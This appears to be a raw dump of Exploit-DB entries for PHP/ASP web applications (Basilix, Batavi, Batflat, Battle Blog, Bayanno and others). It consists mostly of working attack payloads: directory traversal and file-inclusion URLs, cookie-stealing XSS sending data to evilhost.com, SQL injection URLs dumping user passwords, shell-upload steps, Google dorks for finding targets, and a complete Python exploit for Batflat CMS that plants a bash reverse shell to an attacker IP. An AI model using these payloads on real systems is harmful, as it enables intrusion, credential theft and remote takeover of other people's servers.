deardaniel/secdata-raw huggingface dataset:
Exploit-DB #20996
Description: Basilix Webmail 1.0 - File Disclosure
Type: webapps
Platform: php
Date: 2001-07-06
Author: karol _

Exploit:
source: https://www.securityfocus.com/bid/2995/info

Basilix is a web-based mail application. It offers features such as mail attachments, address book, multiple language and theme support.

During operation, Basilix opens a PHP include file using a variable as the filename that can be supplied remotely. Basilix do not properly filter malicious user-supplied input. It is possible for remote attackers to have Basilix attempt to 'include' an arbitrary webserver-readable file.

This vulnerability may disclose sensitive information contained in arbitrary web-readable files. It may also be possible for remote attackers to execute php files. 

http://beta.basilix.org/basilix.php3?request_id[DUMMY]=../../../../etc/passwd&RequestID=DUMMY&username=blah&password=blah
Exploit-DB #21570
Description: BasiliX Webmail 1.1 - Message Content Script Injection
Type: webapps
Platform: php
Date: 2002-06-19
Author: Ulf Harnhammar

Exploit:
source: https://www.securityfocus.com/bid/5060/info

BasiliX is a web-based mail application. It offers features such as mail attachments, address book, multiple language and theme support.

A script injection issue has been reported in BasiliX Webmail. Script commands are not filtered from the Subject or message body, and may execute in the context of the BasiliX site when the content is viewed.

This has been reported in BasiliX Webmail 1.1.0, earlier versions may also be affected.

<script>self.location.href="http://evilhost.com/evil?"+escape(document.
cookie)</script>
Exploit-DB #22385
Description: Basit 1.0 Search Module - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-03-19
Author: Ertan Kurt

Exploit:
source: https://www.securityfocus.com/bid/7142/info

A cross-site scripting vulnerability has been reported for Basit. This vulnerability occurs due to insufficient sanitization of some user-supplied input. As a result of this deficiency an attacker may exploit the vulnerability by creating a specially crafted URL that includes malicious HTML code as URI parameters for Basit's Search module.

This may allow for theft of cookie-based authentication credentials and other attacks.

http://target/modules/Search/index.php?q="><script+src=http://othersite/code.js></script>&op=search
Exploit-DB #22383
Description: Basit 1.0 Submit Module - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-03-19
Author: Ertan Kurt

Exploit:
source: https://www.securityfocus.com/bid/7139/info

A cross-site scripting vulnerability has been reported for Basit. This vulnerability occurs due to insufficient sanitization of some user-supplied input. As a result of this deficiency an attacker may exploit the vulnerability by creating a specially crafted URL that includes malicious HTML code as URI parameters for Basit's Submit module.

This may allow for theft of cookie-based authentication credentials and other attacks.

http://target/modules/Submit/index.php?op=pre&title=<script%20src="http://othersite/code.js">test</script>
http://target/modules/Submit/index.php?op=pre&title=<script>alert(document.cookie);</script>
Exploit-DB #38332
Description: Batavi - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-03-01
Author: Dognaedis

Exploit:
source: https://www.securityfocus.com/bid/58151/info

Batavi is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Batavi 1.2.2 is vulnerable; other versions may also be affected. 

<root>/admin/index.php?file_manager&file_manager&"><script>alert(123)</script></a><a href="
Exploit-DB #35362
Description: Batavi 1.0 - Multiple Local File Inclusion / Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-02-21
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/46467/info

Batavi is prone to multiple local file-include and cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit the local file-include vulnerabilities using directory-traversal strings to view and execute local files within the context of the affected application. Information harvested may aid in further attacks.

The attacker may leverage the cross-site scripting issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Batavi 1.0 is vulnerable; other versions may also be affected. 

Cross site scripting:

http://www.example.com/batavi/ext/xmlrpc/debugger/controller.php?action=&altmethodpayload=&#039;;}alert(0);{// http://www.example.com/batavi/admin/templates/pages/event_manager/edit.php?mID=%3C/script%3E%3Chtml%3E%3Cscript%3Ealert(0);%3C/script%3E%3C/html%3E http://www.example.com/batavi/admin/ext/color_picker/default.php?store_root=%22%3E%3C/script%3E%3Cscript%3Ealert(0)%3C%2fscript%3E

Local file include:

http://www.example.com/batavi/admin/templates/pages/templates_boxes/info.php?module=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00 http://www.example.com/batavi/admin/templates/pages/templates/batch_delete.php?template=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00 http://www.example.com/batavi/admin/templates/pages/templates/delete_rule.php?template=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00 http://www.example.com/batavi/admin/templates/pages/templates/edit.php?template=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00 http://www.example.com/batavi/admin/templates/pages/templates/edit_rule.php?template=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00 http://www.example.com/batavi/admin/templates/pages/templates/info.php?template=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00 http://www.example.com/batavi/admin/templates/pages/templates/uninstall.php?template=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00 http://www.example.com/batavi/admin/templates/pages/images/main.php?module=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00 http://www.example.com/batavi/admin/templates/pages/statistics/main.php?module=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00 http://www.example.com/batavi/admin/templates/pages/export/download.php?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini http://www.example.com/batavi/admin/templates/pages/page_layout/main.php?filter=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00
Exploit-DB #31367
Description: Batchelor Media BM Classifieds - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-03-09
Author: xcorpitx

Exploit:
source: https://www.securityfocus.com/bid/28159/info

BM Classifieds is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/showad.php?listingid=xCoRpiTx&cat=-99/**/union+select/**/concat(username,0x3a,email),password,2/**/from/**/users/*
http://www.example.com/pfriendly.php?ad=-99%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0,1,concat(username,0x3a,email),password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,
Exploit-DB #49583
Description: Batflat CMS 1.3.6 - 'multiple' Stored XSS
Type: webapps
Platform: php
Date: 2021-02-23
Author: Tadjmen

Exploit:
# Exploit Title: Batflat CMS 1.3.6 - 'multiple' Stored XSS
# Date: 22/02/2021
# Exploit Author: Tadjmen
# Vendor Homepage: https://batflat.org/
# Software Link: https://github.com/sruupl/batflat/archive/master.zip
# Version: 1.3.6
# Tested on: Xammpp on Windows, Firefox Newest
# CVE : N/A

Multiple Stored XSS Cross-Site Scripting on Batflat CMS 1.3.6

Login with editor account with rights to Navigation, Galleries, Snippets

Navigation
- Add link
payload: "><img src=x onerror=alert(document.cookie)>

Galleries
- Add gallery
payload: mlem"><svg/onload=alert(1)>

Snippets
- Add Snippets
payload: mlem"><svg/onload=alert("TuongNC")>

More information:
https://github.com/sruupl/batflat/issues/105
Exploit-DB #49573
Description: Batflat CMS 1.3.6 - Remote Code Execution (Authenticated)
Type: webapps
Platform: php
Date: 2021-02-18
Author: mari0x00

Exploit:
# Exploit Title: Batflat CMS 1.3.6 - Remote Code Execution (Authenticated)
# Date: 2020-12-27
# Exploit Author: mari0x00
# Vendor Homepage: https://batflat.org/
# Software Link: https://github.com/sruupl/batflat/archive/master.zip
# Description: https://secator.pl/index.php/2021/02/15/batflat-v-1-3-6-authenticated-remote-code-execution-public-disclosure/
# Version: <= 1.3.6
# CVE: CVE-2020-35734

#!/usr/bin/python3

import requests
import sys
import re
from bs4 import BeautifulSoup
from termcolor import colored
from time import sleep

print(colored('''###########################################################''',"red"))
print(colored('''#######    Batflat authenticated RCE by mari0x00    #######''',"red"))
print(colored('''###########################################################''',"red"))
print("")

if len(sys.argv) != 6:
    print((colored("[~] Usage : python3 batpwnd.py <url> <username> <password> <IP> <PORT>","red")))
    print((colored("[~] Default credentials: admin/admin","red")))
    print((colored("[~] Example: python3 batpwnd.py http://192.168.101.105/ admin admin 192.168[PII_REDACTED]","red")))
    exit()
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
IP = sys.argv[4]
PORT = sys.argv[5]


#Start session
s = requests.Session()
headers = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0'}


#Authenticate
print((colored("[+] Attempting user login","blue")))

login_data = {
    "username": username,
    "password": password,
    "login": "",
   }

login = s.post(url+"admin/", login_data, headers=headers)
sleep(0.5)

#Get token
print((colored("[+] Retrieving the token","blue")))
r = s.get(url+"admin/", headers=headers).content
soup = BeautifulSoup(r, "lxml")
token = (re.search(r't=(.*?)">Add', str(soup)).group(1))
print((colored("[+] Token ID: " + token,"blue")))
sleep(0.5)

#Get URL
print((colored("[+] Getting the add-user endpoint URL","blue")))
r = s.get(url+"admin/users/add?t="+token, headers=headers).content
soup = BeautifulSoup(r, "lxml")
add_user_url = (re.search(r'action="(.*?)"', str(soup)).group(1))
sleep(0.5)

#Exploit
print((colored("[+] Adding pwnd user","blue")))
payload = "<?php system(\"/bin/bash -c 'bash -i >& /dev/tcp/" + IP + "/" + PORT + " 0>&1'\");?>"

add_user = {
    "username": (None, "pwnd"),
    "fullname": (None, payload),
    "description": (None, "pwnd"),
    "email": (None, "pwnd@evil.com"),
    "password": (None, "pwnd123"),
    "access[]": (None, "users"),
    "save": (None, "Save")
}

exploit = s.post(add_user_url, headers=headers, files=add_user)
sleep(0.5)

#Triggering reverse shell
print("")
print((colored("[+] Triggering the shell. Go nuts!","green")))
r = s.get(url+"admin/users/manage?t="+token, headers=headers)
Exploit-DB #31746
Description: BatmanPorTaL - 'profil.asp?id' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-05
Author: U238

Exploit:
source: https://www.securityfocus.com/bid/29057/info
 
BatmanPorTaL is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
 
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
http://www.example.com/lab/BatmanPorTaL/profil.asp?id=1+union+select+0,admin_pw,admin_kd,3,4,5,6,7,8,9,1,1,1,1,1,1,1,1,1,1,1,1+from+ayarlar
Exploit-DB #31745
Description: BatmanPorTaL - 'uyeadmin.asp?id' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-05
Author: U238

Exploit:
source: https://www.securityfocus.com/bid/29057/info

BatmanPorTaL is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/lab/BatmanPorTaL/uyeadmin.asp?islem=uyeduzenle1&id=0+union+select+0,(admin_kd),2,1,(admin_pw),4,5,6,7,8,9,1,1,1,1,1,1,1,1,1,1,1+from+ayarlar
Exploit-DB #5731
Description: Battle Blog 1.25 - 'comment.asp' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-03
Author: Bl@ckbe@rD

Exploit:
+************************************************************************************************************************+
| hhh  hhh          aa          ccccccc      kk  k      EEEEEEEE       RRRR                    TTTTTTTT      NNN   NN    |
| hhh  hhh        aa  aa        cc           kk k       E              RR  R    -----------       TT         NN N  NN    |
| hhhhhhhh       aaaaaaaa       cc           kkk        EEEEEEE        RR R     -----------       TT         NN  N NN    |
| hhh  hhh     aa       aa      cc           kk k       E              RR  R                      TT         NN   NNN    |
| hhh  hhh    aa         aa     ccccccc      kk  k      EEEEEEE        RR   R                     TT         NN    NN    |
|                                                                                                                        |
+************************************************************************************************************************+

[+] Script Name    : Battle Blog <= V 1.25

[+] Script In Short: ('Battle Blog's "real world" preview feature allows you to view your posting within the actual context of your presentation and customized style sheet before you've published it, or, while you're making edits to a current entry.');

[+] Found by       : Bl@ckbe@rD ('Tunisian TerrorisT') ;

[+] Google dork    : "Powered by Battle Blog" ;

[+] Script URL     : webscripts.softpedia.com/script/Blog/Battle-Blog--31261.html ;

[+] Contact        : blackbeard-sql[A.T]hotmail{.}fr ;

--//-->

[+] Expl0iT :

/comment.asp?entry={SQL}

-----> For MS SQL Server         : 22+and+1=convert(int,(select+@@version))--

-----> For Ms ACCESS (Blind-Way) : IIF((select%20mid(last(Name),1,1)%20from%20(select%20top%2010%20Namee%20from%20MSysObjects))='a',0,'done')%00

--//-->

[+] GrEEtZ : allah , hak3r-b0y , UnderZ0ne Crew , InjEct0rS Team 

# milw0rm.com [2008-06-03]
Exploit-DB #8647
Description: Battle Blog 1.25 - 'uploadform.asp' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-05-08
Author: Cyber-Zone

Exploit:
         ***********************************************************************
         *  Battle Blog 1.25 (uploadform.asp) Remote File Upload Vulnerability *
         ***********************************************************************
         

         Found By : Cyber-Zone (ABDELKHALEK)


 
         +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
         http://localhost/blog/admin/uploadform.asp
         
         After You Upload Your File You Will See The Link To THE File Just Below
         
         
         
         some demos :+
         
         http://www.xxx.com/admin/uploadform.asp
         
         
         
         
      
         Have Nice Day                                             //Cyber-Zone
         +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

# milw0rm.com [2009-05-08]
Exploit-DB #9183
Description: Battle Blog 1.25 - Authentication Bypass / SQL Injection / HTML Injection
Type: webapps
Platform: php
Date: 2009-07-17
Author: $qL_DoCt0r

Exploit:
###################################################################
#        battle blog sql/html injection vulnerability             #
###################################################################

author: $qL_DoCt0r
email: cookiestealer375@gmail.com
msn: sidthesloth@windowslive.com
blog: http://full-discl0sure.blogspot.com

html injection vulnerability

dork:inurl:comment.asp intext:Your e-mail address will be used to send you voting and comment activity. Inclusion of your address is optional but Battle Blog cannot notify you of these activities unless you supply an accurate e-mail.

once on blog...
scroll down to: make new comment

fill in the name: website: e-mail: forms
then type your html/xss as the comment, eg:<meta HTTP-EQUIV="REFRESH" content="0; url=http://yoursite.com/deface.htm">
click preview
then submit
if your doing a redirect you need to click submit fast
NOTE: iframes do not work because the submit button doesn't appear
on some blogs you can use fire bug to make a submit button!


sql injection vulnerability

dork: same as before

just look on the navigation bar to the side and click admin

type your sql as the username
and leave the password field blank.

# milw0rm.com [2009-07-17]
Exploit-DB #12656
Description: Battle Scrypt - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-05-19
Author: DigitALL

Exploit:
 # Exploit Title: Battle Scrypt Shell Upload Vulnerability

# Date: 19.05.2010

# Author: DigitALL

# Software Link:
http://www.scrypted.com/battlescrypt.html

# Tested on: Windows Xp Sp3

# Code :

d0rk: "Powered by Battle Scrypt" or inurl:upload.php For Script Kidde :)

Exploit: Go To /upload.php Your Shell shell.php.jpg And Shell Upload.And
Display* stats.php?id=[id]*

Your Shell Link : /images/uploads/[id].php

Gr33tz Thanks: Efe KroNicKq NoFearx38 and All 1923Turk.Com Members

Site's: // www.digitallsecurity.org // digit4ll.blogspot.com //
www.hacker-zone.org // www.katliam.org // www.sirperdesi.org //
www.kankardes.com //
Exploit-DB #32181
Description: Battle.net Clan Script 1.5.x - 'index.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-08-06
Author: Khashayar Fereidani

Exploit:
source: https://www.securityfocus.com/bid/30565/info

Battle.net Clan Script is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Battle.net Clan Script 1.5.2 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?page=members&showmember='+union+select+name,1,2,password+from+bcs_members/*

http://www.example.com/index.php?page=board&thread=-9999+union+select+0,1,password,name,4,5,6,7+from+bcs_members/*
Exploit-DB #3691
Description: Battle.net Clan Script for PHP 1.5.1 - SQL Injection
Type: webapps
Platform: php
Date: 2007-04-09
Author: h a c k e r _ X

Exploit:
****************************************

script : Battle.net Clan Script 1.5
file : login.php
attack : injection sql

auteur : h a c k e r _ X

***************************************

code :
------------------------------------------------------------------------------------------

line 9 --> $user = $_POST['user'];
line 10--> $pass = $_POST['pass'];

.....
.....
.....

line 21--> mysql_query("SELECT * FROM bcs_members WHERE name='$user' AND password='$pass'", $link);
*******

-------------------------------------------------------------------------------------------------


exploit :
*******

Username : ' union select 0,0,0,0,0,0,0,0,0,0,0 from bcs_members/*
[CREDENTIAL_REDACTED]





************************************************** *
thinks to : max007,simo64,brutalism and all marocains hackers

special thinks for "P Y N S S O"

************************************************** *

# milw0rm.com [2007-04-09]
Exploit-DB #45375
Description: Bayanno Hospital Management System 4.0 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-09-11
Author: Gokhan Sagoglu

Exploit:
# Exploit Title: Bayanno Hospital Management System 4.0 - Cross-Site Scripting
# Date: 2018-09-05
# Software Link: https://codecanyon.net/item/bayanno-hospital-management-system/5814621
# Exploit Author: Gokhan Sagoglu
# Vendor Homepage:: http://creativeitem.com/
# Version: v4.0
# Live Demo: http://creativeitem.com/demo/bayanno/index.php?home
# Category: webapps

# 1. Description
# Due to improper user input management and lack of output encoding, unauthenticated users are able 
# to inject malicious code via making an appointment. Malicious code runs on admin panel.

# 2. PoC

- To make an appointment go to: /bayanno/index.php?home/appointment
- Select “New Patient”.
- Type <script>alert(1)</script> as name.
- Fill the other fields with proper values.
- Click on “Book Now” button.
- Go to admin panel and login as admin: /bayanno/index.php?login
- To view patients go to: /bayanno/index.php?admin/patient
- Malicious script will run.
Exploit-DB #11605
Description: Baykus Yemek Tarifleri 2.1 - SQL Injection
Type: webapps
Platform: php
Date: 2010-02-28
Author: cr4wl3r

Exploit:
# Baykus Yemek Tarifleri <= 2.1 SQL Injection Vulnerability
# By cr4wl3r
############################################################
# Code:

include("ayar.php");

$ids= $_GET["id"];

$yaz= mysql_fetch_array(mysql_query("select * from tarifler where id='$ids'"));

mysql_select_db("yemek"); 
   
    mysql_query("SET NAMES ´latin5´");
    mysql_query("SET CHARACTER SET latin5");  


$baslik= $yaz["baslik"];
	$resim			= $yaz['resim'];
	if($resim==""){
	$resim= "bos.png";
	}
$kisa= $yaz["kisa"];
$tarif= $yaz["metin"];
############################################################
# PoC: [path]/oku.php?id=[SQL]
############################################################
Exploit-DB #2468
Description: BBaCE 3.5 - '/includes/functions.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-02
Author: SpiderZ

Exploit:
_________________________________________________________________________


           /      \
        \  \  ,,  /  /
         '-.`\()/`.-'
        .--_'(  )'_--.
       / /` /`""`\ `\ \           * SpiderZ Hacking Security *
        |  |  ><  |  |
        \  \      /  /
            '.__.'


# Author: SpiderZ
# BBaCE Remote File Inclusion Vulnerability
# For: BBaCE v3 ( Bulletin Board Ace )
# Site: www.spiderz.altervista.org
# Site02: www.spiderz.netsons.org
-------------------------------------------------------------------------
Download: http://bbace.blogspot.com/2005/09/downloads.html
Download 2: http://www.phpbbhacks.com/download/3062
-------------------------------------------------------------------------
_________________________________________________________________________




http://site.com/[path]/includes/functions.php?phpbb_root_path=http://[Evil_script]

# milw0rm.com [2006-10-02]